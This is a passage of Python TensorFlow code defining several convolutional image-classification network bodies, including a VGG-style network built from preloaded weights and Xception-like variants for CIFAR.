net.setMinMax(preMin['Conv1b'], preMax['Conv1b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2a', dtype=tf.float32) net.setMinMax(preMin['Conv2a'], preMax['Conv2a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv2b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv2b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv2b', dtype=tf.float32) net.setMinMax(preMin['Conv2b'], preMax['Conv2b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3a', dtype=tf.float32) net.setMinMax(preMin['Conv3a'], preMax['Conv3a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3b', dtype=tf.float32) net.setMinMax(preMin['Conv3b'], preMax['Conv3b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv3c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv3c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv3c', dtype=tf.float32) net.setMinMax(preMin['Conv3c'], preMax['Conv3c']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4a', dtype=tf.float32) net.setMinMax(preMin['Conv4a'], preMax['Conv4a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4b', dtype=tf.float32) net.setMinMax(preMin['Conv4b'], preMax['Conv4b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv4c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv4c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv4c', dtype=tf.float32) net.setMinMax(preMin['Conv4c'], preMax['Conv4c']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5a']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5a']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5a', dtype=tf.float32) net.setMinMax(preMin['Conv5a'], preMax['Conv5a']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5b']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5b']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ # pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5b', dtype=tf.float32) net.setMinMax(preMin['Conv5b'], preMax['Conv5b']) layers.append(net) net = Layer.Conv2D(_outWrapper(net), convChannels=256, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.ConstInit(preWeights['Conv5c']), convPadding='SAME', \ biasInit=Layer.ConstInit(preBias['Conv5c']), \ # bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ pool=True, poolSize=[2, 2], poolStride=[2, 2], poolType=Layer.MaxPool, poolPadding='SAME', \ activation=Layer.ReLU, \ name='Conv5c', dtype=tf.float32) net.setMinMax(preMin['Conv5c'], preMax['Conv5c']) layers.append(net) flattened = tf.reshape(_outWrapper(net), [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=1024, weightInit=Layer.ConstInit(preWeights['FC1']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC1']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) net.setMinMax(preMin['FC1'], preMax['FC1']) layers.append(net) net = Layer.FullyConnected(_outWrapper(net), outputSize=1024, weightInit=Layer.ConstInit(preWeights['FC2']), wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(preBias['FC2']), \ # bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC2', dtype=tf.float32) net.setMinMax(preMin['FC2'], preMax['FC2']) layers.append(net) return net, layers # Trash Bin def SmallNetBody(network, images): layers = [] standardized = tf.identity(images / 127.5 - 1, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv2', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv3', dtype=tf.float32) layers.append(net) toadd = net.output net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv4', dtype=tf.float32) layers.append(net) added = toadd + net.output net = Layer.Conv2D(added, convChannels=128, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv5', dtype=tf.float32) layers.append(net) toadd = net.output net = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-8, \ activation=Layer.ReLU, \ name='Conv6', dtype=tf.float32) layers.append(net) added = toadd + net.output net = Layer.Conv2D(added, convChannels=128, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv7', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Conv8', dtype=tf.float32) layers.append(net) flattened = tf.reshape(net.output, [-1, net.output.shape[1]*net.output.shape[2]*net.output.shape[3]]) net = Layer.FullyConnected(flattened, outputSize=1024, weightInit=Layer.XavierInit, wd=network._HParam['WeightDecay'], \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, \ activation=Layer.ReLU, \ name='FC1', dtype=tf.float32) layers.append(net) return net.output, layers def SimpleNetBody(network, images): layers = [] standardized = tf.identity(images / 127.5 - 1, name='images_standardized') net = Layer.DepthwiseConv2D(standardized, convChannels=3*16, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='DepthwiseConv3x16', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv96', dtype=tf.float32) layers.append(net) toadd = Layer.Conv2D(net.output, convChannels=192, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='SepConv192Shortcut', dtype=tf.float32) layers.append(toadd) net = Layer.SepConv2D(net.output, convChannels=192, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv192a', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=192, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='SepConv192b', dtype=tf.float32) layers.append(net) added = toadd.output + net.output toadd = Layer.Conv2D(added, convChannels=384, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='SepConv384Shortcut', dtype=tf.float32) layers.append(toadd) net = Layer.Activation(added, activation=Layer.ReLU, name='ReLU384') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv384a', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv384b', dtype=tf.float32) layers.append(net) added = toadd.output + net.output toadd = Layer.Conv2D(added, convChannels=768, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='SepConv768Shortcut', dtype=tf.float32) layers.append(toadd) net = Layer.Activation(added, activation=Layer.ReLU, name='ReLU768') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[2, 2], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv768a', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv768b', dtype=tf.float32) layers.append(net) added = toadd.output + net.output net = Layer.Activation(added, activation=Layer.ReLU, name='ReLU11024') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=1024, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='SepConv1024', dtype=tf.float32) layers.append(net) net = Layer.GlobalAvgPool(net.output, name='GlobalAvgPool') layers.append(net) return net.output, layers def ConcatNetBody(network, images): layers = [] standardized = tf.identity(images / 127.5 - 1, name='images_standardized') net = Layer.DepthwiseConv2D(standardized, convChannels=3*16, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='DepthwiseConv3x16', dtype=tf.float32) layers.append(net) toconcat = Layer.Conv2D(net.output, convChannels=48, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage1_Conv_48a', dtype=tf.float32) layers.append(toconcat) net = Layer.Conv2D(toconcat.output, convChannels=96, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage1_Conv1x1_96', dtype=tf.float32) layers.append(net) net = Layer.DepthwiseConv2D(net.output, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage1_DepthwiseConv96', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=48, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='Stage1_Conv1x1_48b', dtype=tf.float32) layers.append(net) concated = tf.concat([toconcat.output, net.output], axis=3) toconcat = Layer.Conv2D(concated, convChannels=96, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage2_Conv_96a', dtype=tf.float32) layers.append(toconcat) net = Layer.Conv2D(toconcat.output, convChannels=192, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage2_Conv1x1_192', dtype=tf.float32) layers.append(net) net = Layer.DepthwiseConv2D(net.output, convChannels=192, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage2_DepthwiseConv192', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=96, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='Stage2_Conv1x1_96b', dtype=tf.float32) layers.append(net) concated = tf.concat([toconcat.output, net.output], axis=3) toconcat = Layer.Conv2D(concated, convChannels=192, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='Stage3_Conv_192a', dtype=tf.float32) layers.append(toconcat) net = Layer.Conv2D(toconcat.output, convChannels=384, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage3_Conv1x1_384', dtype=tf.float32) layers.append(net) net = Layer.DepthwiseConv2D(net.output, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage3_DepthwiseConv384', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=192, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='Stage3_Conv1x1_192b', dtype=tf.float32) layers.append(net) concated = tf.concat([toconcat.output, net.output], axis=3) toconcat = Layer.Conv2D(concated, convChannels=384, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='Stage4_Conv_384a', dtype=tf.float32) layers.append(toconcat) net = Layer.Conv2D(toconcat.output, convChannels=768, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage4_Conv1x1_768', dtype=tf.float32) layers.append(net) net = Layer.DepthwiseConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Stage4_DepthwiseConv768', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=384, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='Stage4_Conv1x1_384b', dtype=tf.float32) layers.append(net) concated = tf.concat([toconcat.output, net.output], axis=3) toadd = Layer.Conv2D(concated, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='SepConv768Toadd', dtype=tf.float32) layers.append(toadd) conved = toadd.output for idx in range(network._numMiddle): net = Layer.Activation(conved, Layer.ReLU, name='ActMiddle'+str(idx)+'_1') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_1', dtype=tf.float32) layers.append(net) net = Layer.Activation(net.output, Layer.ReLU, name='ReLUMiddle'+str(idx)+'_2') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_2', dtype=tf.float32) layers.append(net) net = Layer.Activation(net.output, Layer.ReLU, name='ReLUMiddle'+str(idx)+'_3') layers.append(net) net = Layer.SepConv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvMiddle'+str(idx)+'_3', dtype=tf.float32) layers.append(net) conved = net.output + conved toadd = Layer.Conv2D(conved, convChannels=1536, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='ConvExit1x1_1', dtype=tf.float32) layers.append(toadd) net = Layer.Activation(conved, Layer.ReLU, name='ActExit768_1') layers.append(net) toconcat = Layer.Conv2D(net.output, convChannels=768, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ pool=True, poolSize=[3, 3], poolStride=[2, 2], \ poolType=Layer.MaxPool, poolPadding='SAME', \ name='ConvExit768_1', dtype=tf.float32) layers.append(toconcat) net = Layer.Conv2D(toconcat.output, convChannels=1536, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Exit_Conv1x1_1536', dtype=tf.float32) layers.append(net) net = Layer.DepthwiseConv2D(net.output, convChannels=1536, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='Exit_DepthwiseConv1536', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=768, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.Linear, \ name='Exit_Conv1x1_768b', dtype=tf.float32) layers.append(net) concated = tf.concat([toconcat.output, net.output], axis=3) added = concated + toadd.output net = Layer.SepConv2D(added, convChannels=2048, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvExit2048_1', dtype=tf.float32) layers.append(net) net = Layer.GlobalAvgPool(net.output, name='GlobalAvgPool') layers.append(net) return net.output, layers def XcepCIFAR(network, images): layers = [] standardized = tf.identity(images / 127.5 - 1, name='images_standardized') net = Layer.Conv2D(standardized, convChannels=32, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvEntry32_1', dtype=tf.float32) layers.append(net) net = Layer.Conv2D(net.output, convChannels=64, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvEntry64_1', dtype=tf.float32) layers.append(net) toadd = Layer.Conv2D(net.output, convChannels=128, \ convKernel=[1, 1], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ name='ConvEntry1x1_1', dtype=tf.float32) layers.append(toadd) net = Layer.SepConv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, ifTest=network._ifTest, epsilon=1e-5, \ activation=Layer.ReLU, \ name='ConvEntry128_1', dtype=tf.float32) layers.append(net) net = Layer.SepConv2D(net.output, convChannels=128, \ convKernel=[3, 3], convStride=[1, 1], convWD=network._HParam['WeightDecay'], \ convInit=Layer.XavierInit, convPadding='SAME', \ biasInit=Layer.ConstInit(0.0), \ bn=True, step=network._step, 